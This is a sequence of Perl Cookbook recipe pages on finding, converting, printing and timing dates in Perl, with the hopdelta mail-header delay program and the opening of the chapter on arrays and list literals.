This is how we'd print the current date as "YYYY-MM-DD" (in approved ISO 8601 fashion), using Time::localtime:

use Time::localtime;
$tm = localtime;
printf("The current date is %04d-%02d-%02d\n", $tm->year+1900,
    ($tm->mon)+1, $tm->mday);
The current date is 1998-04-28

The object interface might look out of place in a short program. However, when you do a lot of work with the distinct values, accessing them by name makes code much easier to understand.

A more obfuscated way that does not involve introducing temporary variables is:

printf("The current date is %04d-%02d-%02d\n",
       sub {($_[5]+1900, $_[4]+1, $_[3])}->(localtime));

There is also strftime from the POSIX module discussed in Recipe 3.8:

use POSIX qw(strftime);
print strftime "%Y-%m-%d\n", localtime;

The gmtime function works just as localtime does, but gives the answer in GMT instead of your local time zone.

See Also

The localtime and gmtime functions in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the standard Time::localtime module

Previous: 3.0. Introduction | Perl Cookbook | Next: 3.2. Converting DMYHMS to Epoch Seconds
3.0. Introduction | Book Index | 3.2. Converting DMYHMS to Epoch Seconds


Recipe 3.2. Converting DMYHMS to Epoch Seconds

Perl CookbookSearch this book

3.2. Converting DMYHMS to Epoch Seconds

Problem

You want to convert a date, a time, or both with distinct values for day, month, year, etc. to Epoch seconds.

Solution

Use the timelocal or timegm functions in the standard Time::Local module, depending on whether the date and time is in the current time zone or in UTC.

use Time::Local;
$TIME = timelocal($sec, $min, $hours, $mday, $mon, $year);
$TIME = timegm($sec, $min, $hours, $mday, $mon, $year);

Discussion

The built-in function localtime converts an Epoch seconds value to distinct DMYHMS values; the timelocal subroutine from the standard Time::Local module converts distinct DMYHMS values to an Epoch seconds value. Here's an example that shows how to find Epoch seconds for a time in the current day. It gets the day, month, and year values from localtime:

# $hours, $minutes, and $seconds represent a time today,
# in the current time zone
use Time::Local;
$time = timelocal($seconds, $minutes, $hours, (localtime)[3,4,5]);

If you're passing month and year values to timelocal, it expects values with the same range as those which localtime returns. Namely, months start at 0, and years have 1900 subtracted from them.

The timelocal function assumes the DMYHMS values represent a time in the current time zone. Time::Local also exports a timegm subroutine that assumes the DMYHMS values represent a time in the GMT time zone. Unfortunately, there is no convenient way to convert from a time zone other than the current local time zone or GMT. The best you can do is convert to GMT and add or subtract the time zone offset in seconds.

This code illustrates both the use of timegm and how to adjust the ranges of months and years:

# $day is day in month (1-31)
# $month is month in year (1-12)
# $year is four-digit year e.g., 1967
# $hours, $minutes and $seconds represent UTC time
use Time::Local;
$time = timegm($seconds, $minutes, $hours, $day, $month-1, $year-1900);

As explained in the introduction, Epoch seconds cannot hold values before Fri Dec 13 20:45:52 1901 or after Tue Jan 19 03:14:07 2038. Don't convert such dates to Epoch seconds - use a Date:: module from CPAN, and do your calculations with that instead.

See Also

The documentation for the standard Time::Local module (also in Chapter 7 of Programming Perl); convert in the other direction using Recipe 3.3

Previous: 3.1. Finding Today's Date | Perl Cookbook | Next: 3.3. Converting Epoch Seconds to DMYHMS
3.1. Finding Today's Date | Book Index | 3.3. Converting Epoch Seconds to DMYHMS


Recipe 3.3. Converting Epoch Seconds to DMYHMS

Perl CookbookSearch this book

3.3. Converting Epoch Seconds to DMYHMS

Problem

You have a date and time in Epoch seconds, and you want to calculate individual DMYHMS values from it.

Solution

Use the localtime or gmtime functions, depending on whether you want the date and time in GMT or your local time zone.

($seconds, $minutes, $hours, $day_of_month, $month, $year,
    $wday, $yday, $isdst) = localtime($time);

The standard Time::timelocal and Time::gmtime modules override the localtime and gmtime functions to provide named access to the individual values.

use Time::localtime;        # or Time::gmtime
$tm = localtime($TIME);     # or gmtime($TIME)
$seconds = $tm->sec;
# ...

Discussion

The localtime and gmtime functions return strange year and month values; the year has 1900 subtracted from it, and 0 is the month value for January. Be sure to correct the base values for year and month, as this example does:

($seconds, $minutes, $hours, $day_of_month, $month, $year,
    $wday, $yday, $isdst) = localtime($time);
printf("Dateline: %02d:%02d:%02d-%04d/%02d/%02d\n",
    $hours, $minutes, $seconds, $year+1900, $month+1,
    $day_of_month);

We could have used the Time::localtime module to avoid the temporary variables:

use Time::localtime;
$tm = localtime($time);
printf("Dateline: %02d:%02d:%02d-%04d/%02d/%02d\n",
    $tm->hour, $tm->min, $tm->sec, $tm->year+1900,
    $tm->mon+1, $tm->mday);

See Also

The localtime function in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the standard Time::localtime and Time::gmtime modules; convert in the other direction using Recipe 3.2

Previous: 3.2. Converting DMYHMS to Epoch Seconds | Perl Cookbook | Next: 3.4. Adding to or Subtracting from a Date
3.2. Converting DMYHMS to Epoch Seconds | Book Index | 3.4. Adding to or Subtracting from a Date


Recipe 3.4. Adding to or Subtracting from a Date

Perl CookbookSearch this book

3.4. Adding to or Subtracting from a Date

Problem

You have a date and time and want to find the date and time of some period in the future or past.

Solution

Simply add or subtract Epoch seconds:

$when = $now + $difference;
$then = $now - $difference;

If you have distinct DMYHMS values, use the CPAN Date::Calc module. If you're doing arithmetic with days only, use Add_Delta_Days ($offset is a positive or negative integral number of days):

use Date::Calc qw(Add_Delta_Days);
($y2, $m2, $d2) = Add_Delta_Days($y, $m, $d, $offset);

If you are concerned with hours, minutes, and seconds (in other words, times as well as dates), use Add_Delta_DHMS:

use Date::Calc qw(Add_Delta_DHMS);
($year2, $month2, $day2, $h2, $m2, $s2) =
    Add_Delta_DHMS( $year, $month, $day, $hour, $minute, $second,
                $days_offset, $hour_offset, $minute_offset, $second_offset );

Discussion

Calculating with Epoch seconds is easiest, disregarding the effort to get dates and times into and out of Epoch seconds. This code shows how to calculate an offset (55 days, 2 hours, 17 minutes, and 5 seconds, in this case) from a given base date and time:

$birthtime = 96176750;                  # 18/Jan/1973, 3:45:50 am
$interval = 5 +                         # 5 seconds
            17 * 60 +                   # 17 minutes
            2  * 60 * 60 +              # 2 hours
            55 * 60 * 60 * 24;          # and 55 days
$then = $birthtime + $interval;
print "Then is ", scalar(localtime($then)), "\n";
Then is Wed Mar 14 06:02:55 1973

We could have used Date::Calc's Add_Delta_DHMS function and avoided the conversion to and from Epoch seconds:

use Date::Calc qw(Add_Delta_DHMS);
($year, $month, $day, $hh, $mm, $ss) = Add_Delta_DHMS(
    1973, 1, 18, 3, 45, 50, # 18/Jan/1973, 3:45:50 am
             55, 2, 17, 5); # 55 days, 2 hrs, 17 min, 5 sec
print "To be precise: $hh:$mm:$ss, $month/$day/$year\n";
To be precise: 6:2:55, 3/14/1973

As usual, we need to know the range of values the function expects. Add_Delta_DHMS takes a full year value - that is, one that hasn't had 1900 subtracted from it. The month value for January is 1, not 0. Date::Calc's Add_Delta_Days function expects the same kind of values:

use Date::Calc qw(Add_Delta_Days);
($year, $month, $day) = Add_Delta_Days(1973, 1, 18, 55);
print "Nat was 55 days old on: $month/$day/$year\n";
Nat was 55 days old on: 3/14/1973

See Also

The documentation for the CPAN module Date::Calc

Previous: 3.3. Converting Epoch Seconds to DMYHMS | Perl Cookbook | Next: 3.5. Difference of Two Dates
3.3. Converting Epoch Seconds to DMYHMS | Book Index | 3.5. Difference of Two Dates


Recipe 3.5. Difference of Two Dates

Perl CookbookSearch this book

3.5. Difference of Two Dates

Problem

You need to find the number of days between two dates or times.

Solution

If your dates are in Epoch seconds, and fall in the range Fri Dec 13 20:45:52 1901 to Tue Jan 19 03:14:07 2038 (inclusive), simply subtract one from the other and convert the seconds to days.

$seconds = $recent - $earlier;

If you have distinct DMYMHS values, or are worried about the range limitations of Epoch seconds, use the Date::Calc module from CPAN. It can calculate the difference between dates:

use Date::Calc qw(Delta_Days);
$days = Delta_Days( $year1, $month1, $day1, $year2, $month2, $day2);

It also calculates the difference between dates and times:

use Date::Calc qw(Delta_DHMS);
($days, $hours, $minutes, $seconds) =
  Delta_DHMS( $year1, $month1, $day1, $hour1, $minute1, $seconds1,  # earlier
              $year2, $month2, $day2, $hour2, $minute2, $seconds2); # later

Discussion

One problem with Epoch seconds is how to convert the large integers back to forms that people can read. The following example shows one way of converting an Epoch seconds value back to its component numbers of weeks, days, hours, minutes, and seconds:

$bree = 361535725;          # 16 Jun 1981, 4:35:25
$nat  =  96201950;          # 18 Jan 1973, 3:45:50

$difference = $bree - $nat;
print "There were $difference seconds between Nat and Bree\n";
There were 265333775 seconds between Nat and Bree

$seconds    =  $difference % 60;
$difference = ($difference - $seconds) / 60;
$minutes    =  $difference % 60;
$difference = ($difference - $minutes) / 60;
$hours      =  $difference % 24;
$difference = ($difference - $hours)   / 24;
$days       =  $difference % 7;
$weeks      = ($difference - $days)    /  7;

print "($weeks weeks, $days days, $hours:$minutes:$seconds)\n";
(438 weeks, 4 days, 23:49:35)

Date::Calc's functions can ease these calculations. The Delta_Days function returns the number of days between two dates. It takes the two dates as a list: year, month, day. The dates are given chronologically - earliest first.

use Date::Calc qw(Delta_Days);
@bree = (1981, 6, 16);      # 16 Jun 1981
@nat  = (1973, 1, 18);      # 18 Jan 1973
$difference = Delta_Days(@nat, @bree);
print "There were $difference days between Nat and Bree\n";
There were 3071 days between Nat and Bree

The Delta_DHMS function returns a four-element list corresponding to the number of days, hours, minutes, and seconds between the two dates you give it.

use Date::Calc qw(Delta_DHMS);
@bree = (1981, 6, 16, 4, 35, 25);   # 16 Jun 1981, 4:35:25
@nat  = (1973, 1, 18, 3, 45, 50);   # 18 Jan 1973, 3:45:50
@diff = Delta_DHMS(@nat, @bree);
print "Bree came $diff[0] days, $diff[1]:$diff[2]:$diff[3] after Nat\n";
Bree came 3071 days, 0:49:35 after Nat

See Also

The documentation for the CPAN module Date::Calc

Previous: 3.4. Adding to or Subtracting from a Date | Perl Cookbook | Next: 3.6. Day in a Week/Month/Year or Week Number
3.4. Adding to or Subtracting from a Date | Book Index | 3.6. Day in a Week/Month/Year or Week Number


Recipe 3.6. Day in a Week/Month/Year or Week Number

Perl CookbookSearch this book

3.6. Day in a Week/Month/Year or Week Number

Problem

You have a date, either in Epoch seconds or as distinct year, month, etc. values. You want to find out what week of the year, day of the week, day of the month, or day of the year that the date falls on.

Solution

If you have Epoch seconds, the day of the year, day of the month, and day of the week are returned by localtime. The week of the year is easily calculated from the day of the year (but see discussion below, as standards differ).

($MONTHDAY, $WEEKDAY, $YEARDAY) = (localtime $DATE)[3,6,7];
$WEEKNUM = int($YEARDAY / 7) + 1;

If you have distinct DMYHMS values, you can either convert them to Epoch seconds values as in Recipe 3.3 and then use the solution above, or else use the Day_of_Week , Week_Number, and Day_of_Year functions from the CPAN module Date::Calc:

use Date::Calc qw(Day_of_Week Week_Number Day_of_Year);
# you have $year, $month, and $day
# $day is day of month, by definition.
$wday = Day_of_Week($year, $month, $day);
$wnum = Week_Number($year, $month, $day);
$dnum = Day_of_Year($year, $month, $day);

Discussion

The Day_of_Week, Week_Number, and Day_of_Year functions all expect years that haven't had 1900 subtracted from them and months where January is 1, not 0. The return value from Day_of_Week can be 1 through 7 (corresponding to Monday through Sunday) or 0 in case of an error (an invalid date, for example).

use Date::Calc qw(Day_of_Week Week_Number Day_of_Week_to_Text)

$year  = 1981;
$month = 6;         # (June)
$day   = 16;

$wday = Day_of_Week($year, $month, $day);
print "$month/$day/$year was a ", Day_of_Week_to_Text($wday), "\n";
## see comment above

$wnum = Week_Number($year, $month, $day);
print "in the $wnum week.\n";
6/16/1981 was a Tuesday
in week number 25.

The governing standards body of particular countries may have rules about when the first week of the year starts. For example, in Norway the first week must have at least 4 days in it (and weeks start on Mondays). If January 1 falls on a week with 3 or fewer days, it is counted as week 52 (or 53) of the previous year. In America, the first Monday of the year is usually the start of the first work-week. Given such rules, you may have to write your own algorithm, or at least look at the %G, %L, %W, and %U formats to the UnixDate function in Date::Manip.

See Also

The localtime function in perlfunc (1) and Chapter 3 of Programming Perl; the documentation for the CPAN module Date::Calc

Previous: 3.5. Difference of Two Dates | Perl Cookbook | Next: 3.7. Parsing Dates and Times from Strings
3.5. Difference of Two Dates | Book Index | 3.7. Parsing Dates and Times from Strings


Recipe 3.7. Parsing Dates and Times from Strings

Perl CookbookSearch this book

3.7. Parsing Dates and Times from Strings

Problem

You read in a date or time specification in an arbitrary format but need to convert that string into distinct year, month, etc. values.

Solution

If your date is already numeric, or in a rigid and easily parsed format, use a regular expression (and possibly a hash mapping month names to numbers) to extract individual day, month, and year values, and then use the standard Time::Local module's timelocal and timegm functions to turn that into an Epoch seconds value.

use Time::Local;
# $date is "1998-06-03" (YYYY-MM-DD form).
($yyyy, $mm, $dd) = ($date =~ /(\d+)-(\d+)-(\d+)/;
# calculate epoch seconds at midnight on that day in this timezone
$epoch_seconds = timelocal(0, 0, 0, $dd, $mm, $yyyy);

For a more flexible solution, use the ParseDate function provided by the CPAN module Date::Manip, and then use UnixDate to extract the individual values.

use Date::Manip qw(ParseDate UnixDate);
$date = ParseDate($STRING);
if (!$date) {
    # bad date
} else {
    @VALUES = UnixDate($date, @FORMATS);
}

Discussion

The flexible ParseDate function accepts many formats. It even converts strings like "today", "2 weeks ago Friday", and "2nd Sunday in 1996", and understands the date and time format used in mail and news headers. It returns the decoded date in its own format: a string of the form "YYYYMMDDHH:MM:SS". You can compare two such strings to compare the dates they represent, but arithmetic is difficult. For this reason, we use the UnixDate function to extract the year, month, and day values in a preferred format.

UnixDate takes a date in the string form returned by ParseDate and a list of formats. It applies each format to the string and returns the result. A format is a string describing one or more elements of the date and time and the way that the elements are to be formatted. For example, %Y is the format for the year in four-digit form. Here's an example:

use Date::Manip qw(ParseDate UnixDate);

while (<>) {
    $date = ParseDate($_);
    if (!$date) {
        warn "Bad date string: $_\n";
        next;
    } else {
        ($year, $month, $day) = UnixDate($date, "%Y", "%m", "%d");
        print "Date was $month/$day/$year\n";
    }
}

See Also

The documentation for the CPAN module Date::Manip; we use this in Recipe 3.11

Previous: 3.6. Day in a Week/Month/Year or Week Number | Perl Cookbook | Next: 3.8. Printing a Date
3.6. Day in a Week/Month/Year or Week Number | Book Index | 3.8. Printing a Date


Recipe 3.8. Printing a Date

Perl CookbookSearch this book

3.8. Printing a Date

Problem

You need to print a date and time shown in Epoch seconds format in human-readable form.

Solution

Simply call localtime or gmtime in scalar context, which takes an Epoch second value and returns a string of the form Tue May 26 05:15:20 1998:

$STRING = localtime($EPOCH_SECONDS);

Alternatively, the strftime function in the standard POSIX module supports a more customizable output format, and takes individual DMYHMS values:

use POSIX qw(strftime);
$STRING = strftime($FORMAT, $SECONDS, $MINUTES, $HOUR,
                   $DAY_OF_MONTH, $MONTH, $YEAR, $WEEKDAY,
                   $YEARDAY, $DST);

The CPAN module Date::Manip has a UnixDate routine that works like a specialized form sprintf designed to handle dates. Pass it a Date::Manip date value. Using Date::Manip in lieu of POSIX::strftime has the advantage of not requiring a POSIX-compliant system.

use Date::Manip qw(UnixDate);
$STRING = UnixDate($DATE, $FORMAT);

Discussion

The simplest solution is built into Perl already: the localtime function. In scalar context, it returns the string formatted in a particular way:

Sun Sep 21 15:33:36 1997

This makes for simple code, although it restricts the format of the string:

use Time::Local;
$time = timelocal(50, 45, 3, 18, 0, 73);
print "Scalar localtime gives: ", scalar(localtime($time)), "\n";
Scalar localtime gives: Thu Jan 18 03:45:50 1973

Of course, localtime requires the date and time in Epoch seconds. The POSIX::strftime function takes a set of individual DMYMHS values and a format and returns a string. The format is similar to a printf format; % directives specify fields in the output string. A full list of these directives is available in your system's documentation for strftime. strftime expects the individual values representing the date and time to be the same range as the values returned by localtime:

use POSIX qw(strftime);
use Time::Local;
$time = timelocal(50, 45, 3, 18, 0, 73);
print "strftime gives: ", strftime("%A %D", localtime($time)), "\n";
strftime gives: Thursday 01/18/73

All values are shown in their national representation when using POSIX::strftime. So, if you run it in France, your program would print "Sunday" as "Dimanche". Be warned: Perl's interface to the POSIX function strftime always converts the date, assuming that it falls in the current time zone.

If you don't have access to POSIX's strftime function, there's always the trusty Date::Manip CPAN module, described in Recipe 3.6.

use Date::Manip qw(ParseDate UnixDate);
$date = ParseDate("18 Jan 1973, 3:45:50");
$datestr = UnixDate($date, "%a %b %e %H:%M:%S %z %Y");    # as scalar
print "Date::Manip gives: $datestr\n";
Date::Manip gives: Thu Jan 18 03:45:50 GMT 1973

See Also

The gmtime and localtime functions in perlfunc (1) and Chapter 3 of Programming Perl; perllocale (1); your system's strftime (3) manpage; the documentation for the POSIX module (also in Chapter 7 of Programming Perl); the documentation for the CPAN module Date::Manip

Previous: 3.7. Parsing Dates and Times from Strings | Perl Cookbook | Next: 3.9. High-Resolution Timers
3.7. Parsing Dates and Times from Strings | Book Index | 3.9. High-Resolution Timers


Recipe 3.9. High-Resolution Timers

Perl CookbookSearch this book

3.9. High-Resolution Timers

Problem

You need to measure time with a finer granularity than the full seconds that time returns.

Solution

This might not be possible. If your system supports both the syscall function in Perl as well as a system call like gettimeofday (2), then you could possibly use them to measure the time. The procedure for using syscall varies from system to system. The Discussion has sample code using it, but this is not necessarily portable.

The Time::HiRes module (available from CPAN) encapsulates this functionality for some systems:

use Time::HiRes qw(gettimeofday);
$t0 = gettimeofday;
## do your operation here
$t1 = gettimeofday;
$elapsed = $t1-$t0;
# $elapsed is a floating point value, representing number
# of seconds between $t0 and $t1

Discussion

Here's some code that uses Time::HiRes to time how long the user takes to press RETURN:

use Time::HiRes qw(gettimeofday);
print "Press return when ready: ";
$before = gettimeofday;
$line = <>;
$elapsed = gettimeofday-$before;
print "You took $elapsed seconds.\n";
Press return when ready:
You took 0.228149 seconds.

Compare this to the equivalent syscall code:

require 'sys/syscall.ph';

# initialize the structures returned by gettimeofday
$TIMEVAL_T = "LL";
$done = $start = pack($TIMEVAL_T, ());

# prompt
print "Press return when ready: ";

# read the time into $start
syscall(&SYS_gettimeofday, $start, 0) != -1
           || die "gettimeofday: $!";

# read a line
$line = <>;

# read the time into $done
syscall(&SYS_gettimeofday, $done, 0) != -1
       || die "gettimeofday: $!";

# expand the structure
@start = unpack($TIMEVAL_T, $start);
@done  = unpack($TIMEVAL_T, $done);

# fix microseconds
for ($done[1], $start[1]) { $_ /= 1_000_000 }

# calculate time difference
$delta_time = sprintf "%.4f", ($done[0]  + $done[1]  )
                                         -
                              ($start[0] + $start[1] );

print "That took $delta_time seconds\n";
Press return when ready:
That took 0.3037 seconds

It's longer because it's doing system calls in Perl, while Time::HiRes does them in C providing a single function. It's complex because directly accessing system calls peculiar to your operating system requires you to know details about the underlying C structures that the system call takes and returns. Some programs that come with the Perl distribution try to automatically calculate the formats to pack and unpack for you, if fed the appropriate C header file. In the example, sys/syscall.ph is a Perl library file generated with h2ph, which converts the sys/syscall.h header file into sys/syscall.ph that defines (among other things) &SYS_gettimeofday as a subroutine that returns the system call number of gettimeofday.

Here's another example of Time::HiRes, showing how you could use it to benchmark a sort:

use Time::HiRes qw(gettimeofday);
# take mean sorting time
$size = 500;
$number_of_times = 100;
$total_time = 0;

for ($i = 0; $i < $number_of_times; $i++) {
    my (@array, $j, $begin, $time);
    # populate array
    @array = ();
    for ($j=0; $j<$size; $j++) { push(@array, rand) }

    # sort it
    $begin = gettimeofday;
    @array = sort { $a <=> $b } @array;
    $time = gettimeofday-$begin;
    $total_time += $time;
}

printf "On average, sorting %d random numbers takes %.5f seconds\n",
    $size, ($total_time/$number_of_times);
On average, sorting 500 random numbers takes 0.02821 seconds

See Also

The documentation for the CPAN modules Time::HiRes and Benchmark; the syscall function in perlfunc (1) and Chapter 3 of Programming Perl; your system's syscall (2) manpage

Previous: 3.8. Printing a Date | Perl Cookbook | Next: 3.10. Short Sleeps
3.8. Printing a Date | Book Index | 3.10. Short Sleeps


Recipe 3.10. Short Sleeps

Perl CookbookSearch this book

3.10. Short Sleeps

Problem

You need to sleep for less than a second.

Solution

Use the select() function, if your system supports it:

select(undef, undef, undef, $time_to_sleep);

Some systems don't support a four-argument select. The Time::HiRes module provides a sleep function that takes a floating point number of seconds:

use Time::HiRes qw(sleep);
sleep($time_to_sleep);

Discussion

Here's an example of select. It's a simpler version of the program in Recipe 1.5. Think of it as your very own 300-baud terminal.

while (<>) {
    select(undef, undef, undef, 0.25);
    print;
}

Using Time::HiRes, we'd write it as:

use Time::HiRes qw(sleep);
while (<>) {
    sleep(0.25);
    print;
}

See Also

The documentation for the CPAN modules Time::HiRes and BenchMark; the sleep and select functions in perlfunc (1) and Chapter 3 of Programming Perl; we use the select function for short sleeps in the slowcat program in Recipe 1.5

Previous: 3.9. High-Resolution Timers | Perl Cookbook | Next: 3.11. Program: hopdelta
3.9. High-Resolution Timers | Book Index | 3.11. Program: hopdelta


Recipe 3.11. Program: hopdelta

Perl CookbookSearch this book

3.11. Program: hopdelta

Have you ever wondered why it took so long for someone's mail to get to you? With postal mail, you can't trace how long each intervening post office let your letter gather dust in their back office. But with electronic mail, you can. The message carries in its header Received: lines showing when each intervening mail transport agent along the way got the message.

The dates in the headers are hard to read. You have to read them backwards, bottom to top. They are written in many varied formats, depending on the whim of each transport agent. Worst of all, each date is written in its own local time zone. It's hard to eyeball "Tue, 26 May 1998 23:57:38 -0400" and "Wed, 27 May 1998 05:04:03 +0100" and realize these two dates are only 6 minutes and 25 seconds apart.

The ParseDate and DateCalc functions in the Date::Manip module from CPAN can help this:

use Date::Manip qw(ParseDate DateCalc);
$d1 = ParseDate("Tue, 26 May 1998 23:57:38 -0400");
$d2 = ParseDate("Wed, 27 May 1998 05:04:03 +0100");
print DateCalc($d1, $d2);
+0:0:0:0:0:6:25

That's a nice format for a program to read, but it's still not what the casual reader wants to see. The hopdelta program, shown in Example 3.1, takes a mailer header and tries to analyze the deltas (difference) between each hop (mail stop). Its output is shown in the local time zone.

Example 3.1: hopdelta

#!/usr/bin/perl
# hopdelta - feed mail header, produce lines
#            showing delay at each hop.
use strict;
use Date::Manip qw (ParseDate UnixDate);

# print header; this should really use format/write due to
# printf complexities
printf "%-20.20s %-20.20s %-20.20s   %s\n",
        "Sender", "Recipient", "Time", "Delta";

$/ = '';                # paragraph mode
$_ = <>;                # read header
s/\n\s+/ /g;            # join continuation lines

# calculate when and where this started
my($start_from) = /^From.*\@([^\s>]*)/m;
my($start_date) = /^Date:\s+(.*)/m;
my $then = getdate($start_date);
printf "%-20.20s %-20.20s %s\n", 'Start', $start_from, fmtdate($then);

my $prevfrom = $start_from;

# now process the headers lines from the bottom up
for (reverse split(/\n/)) {
    my ($delta, $now, $from, $by, $when);
    next unless /^Received:/;
    s/\bon (.*?) (id.*)/; $1/s;         # qmail header, I think
    unless (($when) = /;\s+(.*)$/) {    # where the date falls
        warn "bad received line: $_";
        next;
    }
    ($from) = /from\s+(\S+)/;
    ($from) = /\((.*?)\)/ unless $from; # some put it here
    $from =~ s/\)$//;                   # someone was too greedy
    ($by)   = /by\s+(\S+\.\S+)/;        # who sent it on this hop

    # now random mungings to get their string parsable
    for ($when) {
        s/ (for|via) .*$//;
        s/([+-]\d\d\d\d) \(\S+\)/$1/;
        s/id \S+;\s*//;
    }
    next unless $now = getdate($when);          # convert to Epoch
    $delta = $now - $then;

    printf "%-20.20s %-20.20s %s  ", $from, $by, fmtdate($now);
    $prevfrom = $by;
    puttime($delta);
    $then = $now;
}

exit;

# convert random date strings into Epoch seconds
sub getdate {
    my $string     =  shift;
    $string        =~ s/\s+\(.*\)\s*$//;        # remove nonstd tz
    my $date       =  ParseDate($string);
    my $epoch_secs =  UnixDate($date,"%s");
    return $epoch_secs;
}

# convert Epoch seconds into a particular date string
sub fmtdate {
    my $epoch = shift;
    my($sec,$min,$hour,$mday,$mon,$year) = localtime($epoch);
    return sprintf "%02d:%02d:%02d %04d/%02d/%02d",
        $hour, $min, $sec,
        $year + 1900, $mon + 1, $mday,
}

# take seconds and print in pleasant-to-read format
sub puttime {
    my($seconds) = shift;
    my($days, $hours, $minutes);

    $days    = pull_count($seconds, 24 * 60 * 60);
    $hours   = pull_count($seconds, 60 * 60);
    $minutes = pull_count($seconds, 60);

    put_field('s', $seconds);
    put_field('m', $minutes);
    put_field('h', $hours);
    put_field('d', $days);

    print "\n";
}

# usage: $count = pull_count(seconds, amount)
# remove from seconds the amount quantity, altering caller's version.
# return the integral number of those amounts so removed.
sub pull_count {
    my($answer) = int($_[0] / $_[1]);
    $_[0] -= $answer * $_[1];
    return $answer;
}

# usage: put_field(char, number)
# output number field in 3-place decimal format, with trailing char
# suppress output unless char is 's' for seconds
sub put_field {
    my ($char, $number) = @_;
    printf " %3d%s", $number, $char if $number || $char eq 's';
}
Sender               Recipient            Time                   Delta
Start                wall.org             09:17:12 1998/05/23
wall.org             mail.brainstorm.net  09:20:56 1998/05/23    44s   3m
mail.brainstorm.net  jhereg.perl.com      09:20:58 1998/05/23     2s

Previous: 3.10. Short Sleeps | Perl Cookbook | Next: 4. Arrays
3.10. Short Sleeps | Book Index | 4. Arrays


[Chapter 4] Arrays

Perl CookbookSearch this book
Previous: 3.11. Program: hopdelta Chapter 4 Next: 4.1. Specifying a List In Your Program

4. Arrays

Contents:
Introduction
Specifying a List In Your Program
Printing a List with Commas
Changing Array Size
Doing Something with Every Element in a List
Iterating Over an Array by Reference
Extracting Unique Elements from a List
Finding Elements in One Array but Not Another
Computing Union, Intersection, or Difference of Unique Lists
Appending One Array to Another
Reversing an Array
Processing Multiple Elements of an Array
Finding the First List Element That Passes a Test
Finding All Elements in an Array Matching Certain Criteria
Sorting an Array Numerically
Sorting a List by Computable Field
Implementing a Circular List
Randomizing an Array
Program: words
Program: permute

Works of art, in my opinion, are the only objects in the material universe to possess internal order, and that is why, though I don't believe that only art matters, I do believe in Art for Art's sake.

- E.M. Forster

4.0. Introduction

If you are asked about the contents of your pockets, or the names of the last three presidents, or how to get to the highway, you recite a list: you name one thing after another in a particular order. Lists are part of your conception of the world. With Perl's powerful list- and array-handling primitives, you can translate this world view directly into code.

In this chapter, we'll use the terms list and array as the Perl language thinks of them. Take ("Reagan", "Bush", "Clinton"); that's a list of the last three American presidents, in order. To store that list into a variable, use an array, as in @presidents = ("Reagan", "Bush", "Clinton"). Both are ordered groups of scalar values; the difference is that an array is a named variable, one whose array length can be directly changed, whereas a list is a more ephemeral notion. You might think of an array as a variable and a list as the values it contains.

This distinction may seem arbitrary, but operations that modify the length of these groupings (like push and pop) require a proper array and not merely a list. Think of the difference between $a and 4. You can say $a++ but not 4++. Likewise, you can say pop(@a) but not pop (1,2,3).

The most important thing to glean from this is that Perl's lists and arrays are both ordered groupings of scalars. Operators and functions that work on lists or arrays are designed to provide faster or more convenient access to the elements than manual access would provide. Since few actually deal with modifying the array's length, you can usually use arrays and lists interchangeably.

You can't use nested parentheses to create a list of lists. If you try that in Perl, your lists get flattened, meaning that both these lines are equivalent:

@nested = ("this", "that", "the", "other");
@nested = ("this", "that", ("the", "other"));

Why doesn't Perl (usefully) just support nested lists directly? Although partially for historical reasons, this easily allows for operations (like print or sort) that work on arbitrarily long lists of arbitrary contents.

What happens if you want a more complex data structure, such as an array of arrays or an array of hashes? Remember that scalars aren't restricted to containing just numbers or strings; they can also hold references. Complex (multilevel) data structures in Perl are always put together using references. Therefore, what appear to be "two-dimensional arrays" or "arrays of arrays" are always implemented as arrays of array references, in the same way that two-dimensional arrays in C can be arrays of pointers to arrays.

Most recipes in this chapter don't care what you keep in your arrays; for example, the problem of merging two arrays is the same whether the arrays contains strings, numbers, or references. Some problems are intrinsically tied to the contents of your arrays; recipes for those are in Chapter 11, References and Records. This chapter's recipes deal with generic arrays.

Let's have some more terminology. The scalar items in an array or list are called elements, which you access by specifying their position, or index. Indices in Perl start at 0. So, given this list:

@tune = ( "The", "Star-Spangled", "Banner" );

"The" is in the first position, but you'd access it as $tune[0]. "Star-Spangled" is in the second position, but you'd access it as $tune[1]. This structure is doubly justified: the contrariness of computers, whose first representable number is 0, and the contrariness of language designers, who chose 0 because it is an offset into the array, not the ordinal number of the element.

Previous: 3.11. Program: hopdelta | Perl Cookbook | Next: 4.1. Specifying a List In Your Program
3.11. Program: hopdelta | Book Index | 4.1. Specifying a List In Your Program


Recipe 4.1. Specifying a List In Your Program

Perl CookbookSearch this book

4.1. Specifying a List In Your Program

Problem

You want to include a list in your program. This is how you initialize arrays.

Solution

You can write out a comma-separated list of elements:

@a = ("quick", "brown", "fox");

If you have a lot of single-word elements, use the qw() operator:

@a = qw(Why are you teasing me?);

If you have a lot of multi-word elements, use a here document and extract lines:

@lines = (<<"END_OF_HERE_DOC" =~ m/^\s*(.+)/gm);
    The boy stood on the burning deck,
    It was as hot as glass.
END_OF_HERE_DOC

Discussion

The first technique is the most commonly used, often because only small arrays are normally initialized as program literals. Initializing a large array would fill your program with values and make it hard to read, so such arrays are either initialized in a separate library file (see Chapter 12, Packages, Libraries, and Modules), or the values are simply read from a file:

@bigarray = ();
open(DATA, "< mydatafile")       or die "Couldn't read from datafile: $!\n";
while (<DATA>) {
    chomp;
    push(@bigarray, $_);
}

The second technique uses the qw() operator, one of the quoting operators. Along with q(), qq(), and qx(), qw() provides another way to quote values for your program. q() behaves like single quotes, so these two lines are equivalent:

$banner = 'The Mines of Moria';
$banner = q(The Mines of Moria);

Similarly, qq() behaves like double quotes:

$name   =  "Gandalf";
$banner = "Speak, $name, and enter!";
$banner = qq(Speak, $name, and welcome!);

And qx() is almost exactly like backticks; that is, it runs a command through the shell complete with variable interpolation and backslash escapes. You can't stop interpolation with backticks, but you can with qx. If you don't want Perl variables to be expanded, you can use a single-quote delimiter on qx to suppress this:

$his_host   = 'www.perl.com';
$host_info  = `nslookup $his_host`; # expand Perl variable

$perl_info  = qx(ps $$);            # that's Perl's $$
$shell_info = qx'ps $$';            # that's the new shell's $$

Whereas q(), qq(), and qx() quote single strings, qw() quotes a list of single-word strings by splitting its argument on whitespace, without variable interpolation. These are all the same:

@banner = ('Costs', 'only', '$4.95');
@banner = qw(Costs only $4.95);
@banner = split(' ', 'Costs only $4.95');

